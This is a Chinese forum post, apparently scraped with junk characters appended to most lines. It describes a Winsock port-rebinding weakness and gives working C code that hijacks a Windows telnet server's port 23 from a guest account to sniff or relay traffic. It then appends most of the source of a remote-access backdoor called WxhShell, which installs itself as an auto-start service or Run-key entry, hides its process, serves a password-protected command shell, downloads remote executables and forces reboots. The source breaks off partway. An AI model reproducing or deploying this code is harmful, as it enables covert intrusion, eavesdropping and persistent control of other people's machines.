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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dww4o~hO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ox";%|PP1  
+I:/8,&-x  
  saddr.sin_family = AF_INET; n#4T o;CS  
J~ *>pp#U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !SLfAFcS  
3YUF\L]yyw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Vy=+G~  
`:0Auw9h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )hVn/*mH  
V-63   
  这意味着什么?意味着可以进行如下的攻击: Q } 0_}W  
Udjn.D  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,,S 2>X*L  
PbV1FB_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #.,LWL]  
eG.s|0`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #nj;F'O](  
yio8BcXH54  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @j(2tJ,w  
^7*zi_Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,~Lx7 5{  
2';{o=TXV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9R[P pE''  
;j<#VS-]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cF"}}c1*M  
n6 c+Okj  
  #include _@_EQ!=  
  #include -V'Y^Df  
  #include gmiLjI  
  #include    B,ao%3t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   idjk uB(6  
  int main() ~*tn|?%  
  { # 3FsK  
  WORD wVersionRequested; &}#zG5eu  
  DWORD ret; V'K:52  
  WSADATA wsaData; Zb<D%9  
  BOOL val; W*u$e8i7  
  SOCKADDR_IN saddr; -O $!sFmY  
  SOCKADDR_IN scaddr; +'[/eW  
  int err; n<A<Xj08T9  
  SOCKET s; {]4Zpev  
  SOCKET sc; X'/'r.b6  
  int caddsize; *(Z\ "o!  
  HANDLE mt; IGA4"\s  
  DWORD tid;   "=2'Oqp1  
  wVersionRequested = MAKEWORD( 2, 2 ); #w!ewCvt  
  err = WSAStartup( wVersionRequested, &wsaData ); {=MRJg!U  
  if ( err != 0 ) { T#&X7!4  
  printf("error!WSAStartup failed!\n"); o"p['m*g  
  return -1; ;O<-4$  
  } {WTy/$ Qk  
  saddr.sin_family = AF_INET; +iNp8  
   A(n3<(O/{Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]i>,oxBWe  
H=mFc@fh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _C,9c7K4  
  saddr.sin_port = htons(23); y#/P||PM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G#1W":|`  
  { KppYe9?  
  printf("error!socket failed!\n"); 4K|O?MUNS  
  return -1; *bzqH2h8  
  } HNLr} Yj  
  val = TRUE; FyNm1QNy^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @qB>qD~WsD  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Bc'Mj=>;  
  { 1'1>B  
  printf("error!setsockopt failed!\n"); I |"'  
  return -1; u>*qDr* d  
  } ~G.MaSm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I]WvcDJ}C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Th$xk9TK^@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j_z@VT}y  
.dwbJT  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) XR$i:kL,,  
  { /bLL!nD=^  
  ret=GetLastError(); l9 &L$,=  
  printf("error!bind failed!\n"); @S6@pMo,  
  return -1; KWM}VZY:Z  
  } A f}o/g  
  listen(s,2); Zu94dFP  
  while(1) }[(v(1j='~  
  { O,#,`2Qc  
  caddsize = sizeof(scaddr); 4E+8kz'  
  //接受连接请求 .9UrWBW\I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Oc5f8uv  
  if(sc!=INVALID_SOCKET) 3Z7gPU!H=  
  { uavyms^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ? ?("0U  
  if(mt==NULL) 86a,J3C[  
  { l8e)|MSh  
  printf("Thread Creat Failed!\n"); 8/;@4^Ux  
  break; :SY,;..3e  
  }  ^mN`!+  
  } i`?yi-R&  
  CloseHandle(mt); >~tx8aI{  
  } sn]D7Ae  
  closesocket(s); F)@zo/u5L  
  WSACleanup(); U~dqxR"Q  
  return 0; e*d lGK3l  
  }   fUZCP*7>  
  DWORD WINAPI ClientThread(LPVOID lpParam) N2lz {  
  { 9#kk5)J  
  SOCKET ss = (SOCKET)lpParam; '$5d6?BC`3  
  SOCKET sc; dux_v"Xl  
  unsigned char buf[4096]; p\Iy)Y2Lf!  
  SOCKADDR_IN saddr; L@f&71  
  long num; c5pK%I}O  
  DWORD val; ezri9\Ju  
  DWORD ret; Dj6^|R$z&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 dTte4lh  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S"`{ JCW$  
  saddr.sin_family = AF_INET; 5r d t  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); JOs kf(  
  saddr.sin_port = htons(23); ?v'CuWS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J|HV8  
  { yN06` =  
  printf("error!socket failed!\n"); ]I]G3 e  
  return -1; ;";>7k/}  
  } \gv-2.,  
  val = 100; =l6W O*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z80*Ylx  
  { 1&Ma`M('  
  ret = GetLastError(); U.ZA%De  
  return -1; A;f)`i0l,  
  } P]L%$!g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !>&G+R+k  
  { XXQC`%-]<i  
  ret = GetLastError(); ^;?w<9Y  
  return -1; KvI/!hl\  
  } ?zVcP=p@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &v9"lR=_k  
  { PTTUI  
  printf("error!socket connect failed!\n"); ^}:0\;|N  
  closesocket(sc); ?q0a^c?A^  
  closesocket(ss); S'>KGdF  
  return -1; FRQkD%k  
  } vY[ u;VU  
  while(1) !A14\  
  { e$mVA}>Ybp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x_l8&RIB*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `}8)P#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 er>{#8 P  
  num = recv(ss,buf,4096,0); '8I=Tn  
  if(num>0) y;O 6q206  
  send(sc,buf,num,0); V=+p8nE0  
  else if(num==0) psS^  
  break; .R S  
  num = recv(sc,buf,4096,0); r8A'8g4cM  
  if(num>0) 9N|JI3*41  
  send(ss,buf,num,0); e0#{'_C  
  else if(num==0) H/*i-%]v+(  
  break; j}8^gz]  
  } x26 sH5  
  closesocket(ss); YG>Eop  
  closesocket(sc); 1o)<23q`)  
  return 0 ; [yRqSB  
  } !=+;9Ry$z  
$A(3-n5=  
8"u.GL.  
========================================================== \`8F.oZ^)  
475jmQ{q  
下边附上一个代码,,WXhSHELL U:$`M,762Z  
F[fs^Q6S$  
========================================================== u4[JDB7tH  
^q<EnsY  
#include "stdafx.h" _ CzAv%  
Y2+YmP*z`  
#include <stdio.h> 6$fwpW  
#include <string.h> 2[KHmdgtB  
#include <windows.h> %Wc$S]>i  
#include <winsock2.h> LC0-O1  
#include <winsvc.h> ?X7nM)  
#include <urlmon.h> 0s.4]Zg>5  
t4-0mNBZt$  
#pragma comment (lib, "Ws2_32.lib") >Q)S-4iR  
#pragma comment (lib, "urlmon.lib") a$LoQ<f_  
\i)@"}  
#define MAX_USER   100 // 最大客户端连接数 vE~<R  
#define BUF_SOCK   200 // sock buffer E7]a#  
#define KEY_BUFF   255 // 输入 buffer &7c#i  
<H1e+l{8$  
#define REBOOT     0   // 重启 RLDu5  
#define SHUTDOWN   1   // 关机 ]oC7{OoX  
#;'*W$Wk2  
#define DEF_PORT   5000 // 监听端口 JJP!9<  
zG&yu0;D6  
#define REG_LEN     16   // 注册表键长度 o:Tpd 0F  
#define SVC_LEN     80   // NT服务名长度 QX9['B<  
}oii|=,#^  
// 从dll定义API G:MQ_tfr&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w1= f\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  V#+J4   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o^BX:\}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `iwGPG!  
V>Nw2u!!  
// wxhshell配置信息 6x8lnXtA  
struct WSCFG { ~hU^5R-%  
  int ws_port;         // 监听端口 YMn=9EUp  
  char ws_passstr[REG_LEN]; // 口令 JZD&u6tB   
  int ws_autoins;       // 安装标记, 1=yes 0=no & )EL%o5  
  char ws_regname[REG_LEN]; // 注册表键名 gac/%_-HH7  
  char ws_svcname[REG_LEN]; // 服务名 PMiG:bM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (DTkK5/%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?&.Eg^a"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _Tma1 ~Gq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %#7^b=;=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @ds.)sKA>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <*$IZl6I  
/6p7 k  
}; X!]p8Q y  
5VlF\-  
// default Wxhshell configuration iIg99c7/&9  
struct WSCFG wscfg={DEF_PORT, 6;}FZ  
    "xuhuanlingzhe", g0RfvR  
    1, "ODs.m oq  
    "Wxhshell", Y!CGuLHL`[  
    "Wxhshell", F#7A6|  
            "WxhShell Service", %XZdz =B  
    "Wrsky Windows CmdShell Service", Yo2n [  
    "Please Input Your Password: ", `,FvYA"  
  1, X!0m,  
  "http://www.wrsky.com/wxhshell.exe", `"j_]  
  "Wxhshell.exe" .^uYr^( |[  
    }; mRY~)< !4&  
u_ym=N57`  
// 消息定义模块 $:0?"?o);  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +?bOGUik  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,"4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K#'{Ko  
char *msg_ws_ext="\n\rExit."; ^2!l/(?  
char *msg_ws_end="\n\rQuit."; tje   
char *msg_ws_boot="\n\rReboot..."; Q 1e hW  
char *msg_ws_poff="\n\rShutdown..."; GAcU8  MD  
char *msg_ws_down="\n\rSave to "; P 4jg]g  
] _P!+5]<  
char *msg_ws_err="\n\rErr!"; E.OL_\  
char *msg_ws_ok="\n\rOK!"; NxQ+z^o\  
)I9Wa*I  
char ExeFile[MAX_PATH]; 1$ ~W~O  
int nUser = 0;  k/}E(_e  
HANDLE handles[MAX_USER]; ` Ui|T  
int OsIsNt; TZ%u;tBH:  
*ZA.O  
SERVICE_STATUS       serviceStatus; 3_+$x 4%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I:%O`F  
A!j6JY.w  
// 函数声明 R} aHo0r  
int Install(void); kkE1CHY  
int Uninstall(void); a).bk!G  
int DownloadFile(char *sURL, SOCKET wsh); !<xeAo%8  
int Boot(int flag); f_GqJ7Gk]  
void HideProc(void); rZv5>aEI  
int GetOsVer(void); :svRn9_8H  
int Wxhshell(SOCKET wsl); Gdf*x<T1  
void TalkWithClient(void *cs); VXtW{*{"  
int CmdShell(SOCKET sock); F2$Z4%x#  
int StartFromService(void); U[UjL)U  
int StartWxhshell(LPSTR lpCmdLine); {`vv-[j|  
I`e |[k2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bl;C=n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7+vyN^XJ"5  
Q(Dp116  
// 数据结构和表定义 REvY`   
SERVICE_TABLE_ENTRY DispatchTable[] = &\, ZtaB  
{ ^q0Ox&X  
{wscfg.ws_svcname, NTServiceMain}, 1]uHaI(  
{NULL, NULL} k6vY/)-S  
}; OK}+:Y  
ovn)lIs  
// 自我安装 W\?_o@d  
int Install(void) T 6g(,xPcL  
{ g&30@D"  
  char svExeFile[MAX_PATH]; <e 'S'  
  HKEY key; <ZV !fn  
  strcpy(svExeFile,ExeFile); BtN@P23>k.  
v<z%\`y  
// 如果是win9x系统,修改注册表设为自启动 )J"Lne*"  
if(!OsIsNt) { p Rn vd|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jHj*S9:`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C=6Vd  
  RegCloseKey(key); HV ^*_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }.x&}FqXE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \?_eQKiZ3  
  RegCloseKey(key); 4epE!`z_&  
  return 0; U[b $VZ}  
    } 'W/E*O6BY  
  } T _O|gU  
} {VPF2JFB[  
else { `)[bu  
85<zl|ZD  
// 如果是NT以上系统,安装为系统服务 0\*6U H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e?%Qv+)W  
if (schSCManager!=0) IGj%)_W  
{ ~7tG%{t%  
  SC_HANDLE schService = CreateService p xrd D7  
  ( .r/6BDE"  
  schSCManager, %Bo/vB'  
  wscfg.ws_svcname, _ FcfNF  
  wscfg.ws_svcdisp, YY (,H!  
  SERVICE_ALL_ACCESS, c[4  H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !YlyUHD  
  SERVICE_AUTO_START, s5X .(;+  
  SERVICE_ERROR_NORMAL, lZ5 lmsCU  
  svExeFile, Br2ZloJ@+  
  NULL, .R/`Y)4  
  NULL, Jb'M/iG  
  NULL, ,ufB*[~  
  NULL, OchIEF "N  
  NULL G'/36M@  
  ); E"e<9  
  if (schService!=0) g|r:+%,M  
  { $0C1';=^}  
  CloseServiceHandle(schService); f)p c$~B  
  CloseServiceHandle(schSCManager); Farcd!}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5Uc!;Gd?b  
  strcat(svExeFile,wscfg.ws_svcname); o7N3:)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?d)I!x,;;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IG?044Y  
  RegCloseKey(key); \Lxsg! wtJ  
  return 0; D}1Z TX_  
    } Ij_Y+Mnl4:  
  } V 45\.V  
  CloseServiceHandle(schSCManager); sGjYL>*  
} 1=x4m=wV  
} }v[*V   
%UuV^C  
return 1; ;Ub;AqY  
} Hf( d x\5  
P8jXruZr  
// 自我卸载 u?[dy n  
int Uninstall(void) F0O"rN{  
{ <4,n6$E  
  HKEY key; 4-@D`,3L  
w) o^?9T  
if(!OsIsNt) { IKhpe5}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { : [o0Va2 d  
  RegDeleteValue(key,wscfg.ws_regname); lg_X|yhL  
  RegCloseKey(key); b&BSigrvou  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Np>[mNmga  
  RegDeleteValue(key,wscfg.ws_regname); iX 0s4  
  RegCloseKey(key); ,/n<Qg"`  
  return 0; &DC o;Ij;  
  } #wH<W5gSZ  
} (J(JB}[X,  
} iGmBG1a\  
else { nlaJ  
RX.n7Tb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \(Uw.ri  
if (schSCManager!=0) n5i#GvO^  
{ ,6Ulj+l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2x-67_BHY=  
  if (schService!=0) b&s"/Y89  
  { Zf~Em'g"3  
  if(DeleteService(schService)!=0) { ]r;-Lx{F  
  CloseServiceHandle(schService); tZR%s  
  CloseServiceHandle(schSCManager); #Aox$[|@  
  return 0;  FVOR~z  
  } F;l*@y Tq  
  CloseServiceHandle(schService); s u]x  
  } M&Aeh8>uX  
  CloseServiceHandle(schSCManager); J%c4-'l  
} 3*9<JHu  
} .du FMJl  
Wh4`Iv\.  
return 1; / $7E  
} EAYx+zI  
C<Q;3w`#1j  
// 从指定url下载文件 YK Nz[x$|  
int DownloadFile(char *sURL, SOCKET wsh) [5$=G@ zf  
{ {R b|";  
  HRESULT hr; .0^-a=/  
char seps[]= "/"; -}nTwx:|5u  
char *token; P+r -t8  
char *file; >(Mu9ie*`  
char myURL[MAX_PATH]; cTf/B=yMi  
char myFILE[MAX_PATH]; .iFd  
ajFSbi)l  
strcpy(myURL,sURL); |U}al[  
  token=strtok(myURL,seps); ~D1.opj3  
  while(token!=NULL) ~Y^ UP  
  { VHhW_ya1g{  
    file=token; W#1t%hT$  
  token=strtok(NULL,seps); @&!HMl  
  } p:]kH  
9 z_9yT  
GetCurrentDirectory(MAX_PATH,myFILE); -x i]~svg  
strcat(myFILE, "\\"); -s Iji)t  
strcat(myFILE, file); SenDJv00  
  send(wsh,myFILE,strlen(myFILE),0); ptXCM[Z+  
send(wsh,"...",3,0); :n36}VG|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5N=QS1<$5  
  if(hr==S_OK) >P*wK9|(  
return 0; -DgJkyt+<  
else Vm NCknG  
return 1; H%c:f  
 p]z *  
} 7I>@PV N  
1muB* O  
// 系统电源模块 }r`m(z$z  
int Boot(int flag) Ar@" K!TS  
{ k!Y7 Rc{"  
  HANDLE hToken; x O`#a=  
  TOKEN_PRIVILEGES tkp; 5AV5`<r.  
Ph(bgQg  
  if(OsIsNt) { 9\F:<Bf$#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $@y<.?k>UP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  +c@s  
    tkp.PrivilegeCount = 1; t)Q6A@$:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Na8%TT>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FSnF>3kj-  
if(flag==REBOOT) { 8. 9TWsZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gc|?$aE  
  return 0; 7VWq8FH`  
} dq$H^BB+>  
else { |7G +O+j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Kfho:e,  
  return 0; Ys8p,.OMs  
} 8 /3`rEW  
  } )%D2JC  
  else { qF9z@a  
if(flag==REBOOT) { !F3Y7R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  [o]^\a y  
  return 0; Sl@$  
} <[9{Lg*D  
else { rp*f)rJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (+Ia:D  
  return 0; sB|>\O#-  
} 8*O]  
} l#!p?l  
>^vyp!  
return 1; ESdjDg$[u  
} I7!+~uX  
rdK=f<I]  
// win9x进程隐藏模块 0<3)K[m~H  
void HideProc(void) cB~D3a0Th  
{ gJYB)LjH"  
:q6j{C(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f=0U&~  
  if ( hKernel != NULL ) 7g'jg7  
  { 7GN>o@t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DIx!Sw7EC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gn}G$uk61  
    FreeLibrary(hKernel); GabY xYK  
  } <=m@Sg{o  
&PJ&XTR  
return; <5oG[1j  
} fB~BVYi  
ruMS5OqM  
// 获取操作系统版本 crx8+  
int GetOsVer(void) tbbZGyg5b  
{ `~${fs{-`/  
  OSVERSIONINFO winfo; zoFCHs r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1Yj^N" =  
  GetVersionEx(&winfo); K5; /  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eBw6k09C+  
  return 1; @9yY`\"ed  
  else }bwH(OOS  
  return 0; DEmU},<S  
} %bs6Uy5g)a  
Q>`|{m  
// 客户端句柄模块 NWK+.{s>m  
int Wxhshell(SOCKET wsl) !3]}3jZ.  
{ P2lDi!q|  
  SOCKET wsh; ) `u)#@x  
  struct sockaddr_in client; XJ\ j0  
  DWORD myID; 7#\\Ava$T  
Yh=/?&*  
  while(nUser<MAX_USER) VK7lm|J+  
{ ;xp^F KP  
  int nSize=sizeof(client); K,pQ11J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B2}|b^'I  
  if(wsh==INVALID_SOCKET) return 1; Y!M&8;>  
q|Oz   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _*(n2'2B  
if(handles[nUser]==0) 'IR2H{Q  
  closesocket(wsh); n*7Ytz3#'  
else +YS0yTWeX  
  nUser++; t)O8ON  
  } zkFx2(Hq-f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I/F3%'O  
JqX+vRY;dd  
  return 0; =#tQhg,_  
} Z?IwR  
mW_B|dM"  
// 关闭 socket v/\in'H~  
void CloseIt(SOCKET wsh) Us5P?}  
{ =3~u.iq$  
closesocket(wsh); pA ,xDs@37  
nUser--; +W{ELdup%q  
ExitThread(0); hB]\vA7  
} ?8{x/y:  
:$=r^LSH  
// 客户端请求句柄 h5vvizruy  
void TalkWithClient(void *cs) Y|NL #F  
{ r`t|}m  
Iuh1tcc  
  SOCKET wsh=(SOCKET)cs; bZf18lvij:  
  char pwd[SVC_LEN]; s]tBd !~  
  char cmd[KEY_BUFF]; !|SVRaS  
char chr[1]; Rn"Raq7Cn*  
int i,j; #&L[?jEn  
)Ha`>  
  while (nUser < MAX_USER) { 7U:-zfq  
5)IJ|"]y  
if(wscfg.ws_passstr) { &mG1V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +lK?)77f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H%}ro.u  
  //ZeroMemory(pwd,KEY_BUFF); mJj [f8  
      i=0; 5x( [fG  
  while(i<SVC_LEN) { }"V$li  
>EMsBX  
  // 设置超时 ZmJ!ZKKch  
  fd_set FdRead; Rh=,]Y  
  struct timeval TimeOut; fR:BF47  
  FD_ZERO(&FdRead); 2HxT+|~d6  
  FD_SET(wsh,&FdRead); 4| 6<nk_  
  TimeOut.tv_sec=8; WcG!6.U>  
  TimeOut.tv_usec=0; fV 6$YCf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `cz%(Ry,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X^2Txm d  
3 &aBU [  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XAn{xN pz  
  pwd=chr[0]; K`BNSdEN>  
  if(chr[0]==0xd || chr[0]==0xa) { CY"iP,nHl  
  pwd=0; u$3wdZ2&m  
  break; 0n'~wz"wB  
  } \[nvdvJv  
  i++; C( ay7  
    } p1-bq:  
)]\?Yyg]  
  // 如果是非法用户,关闭 socket vf |lF9@U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )ZyEn%  
} nb -Je+  
ftL>oOz[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0v~Eu>Rg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Oq7R^t`b  
h1 y6`m9  
while(1) { 86]})H  
]~')OSjw  
  ZeroMemory(cmd,KEY_BUFF); UL46%MFQ\  
BIFuQ?j3  
      // 自动支持客户端 telnet标准   &_DRrp0CN  
  j=0; +[=yLE#P%  
  while(j<KEY_BUFF) { x6d0yJ <  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZL0':7  
  cmd[j]=chr[0]; .7BB*!CP  
  if(chr[0]==0xa || chr[0]==0xd) { fP6]z y^ *  
  cmd[j]=0; 4\#!Gv-  
  break; 8-A * Jc  
  } }G:5P3f  
  j++; f;Iaf#V_  
    } #ny&bJj  
M"E ]r=1  
  // 下载文件 c]pO'6]  
  if(strstr(cmd,"http://")) { nDdF(|Qt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dHcGe{T^(  
  if(DownloadFile(cmd,wsh)) !A.Kb74  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WFOO6 kMz  
  else F(-1m A&-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1pUIZ$@?`  
  } 2EHeQ|#  
  else { 6l{=[\.Xa  
G)I lkA@  
    switch(cmd[0]) { 7_AR()CM  
  !kPZuU `T  
  // 帮助 c{iF  
  case '?': { wU\3"!^h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vd4}b>  
    break; /1Xji 0LK  
  } A.mIqu,:  
  // 安装 qJ;T$W=NG  
  case 'i': { STC'j1U  
    if(Install()) C ?^si  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jY]hMQ/H  
    else F-=W7 D:[c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G 4jaHpPi  
    break; :QSCky*i  
    } x*)@:W!  
  // 卸载 _;A?w8z  
  case 'r': { Wcgy:4K3  
    if(Uninstall()) -?8;-h, h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y6[^I'kz  
    else nDR)UR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =xs{Ov=  
    break; t=`bXBX1  
    } EW* 's(  
  // 显示 wxhshell 所在路径 KUC (n!  
  case 'p': { Q k`yK|(0=  
    char svExeFile[MAX_PATH]; qlT'gUt=H  
    strcpy(svExeFile,"\n\r"); (_}w4N#  
      strcat(svExeFile,ExeFile); :v_H;UU  
        send(wsh,svExeFile,strlen(svExeFile),0); 5"f')MKUV9  
    break; 9d7$Fz#  
    } uT5sLpA|6  
  // 重启 s W#}QYd  
  case 'b': { -{ Ng6ntS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,gR9~k,  
    if(Boot(REBOOT)) >*TFM[((Y)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /4\!zPPj.  
    else { +4kBd<0Y  
    closesocket(wsh); DU6AlNx  
    ExitThread(0); @v1f)(N  
    } C~4$A/&(  
    break; #+2|ZfCn%  
    } ,0^:q)_  
  // 关机 `+~@VZ3m  
  case 'd': { Wcy N, 5  
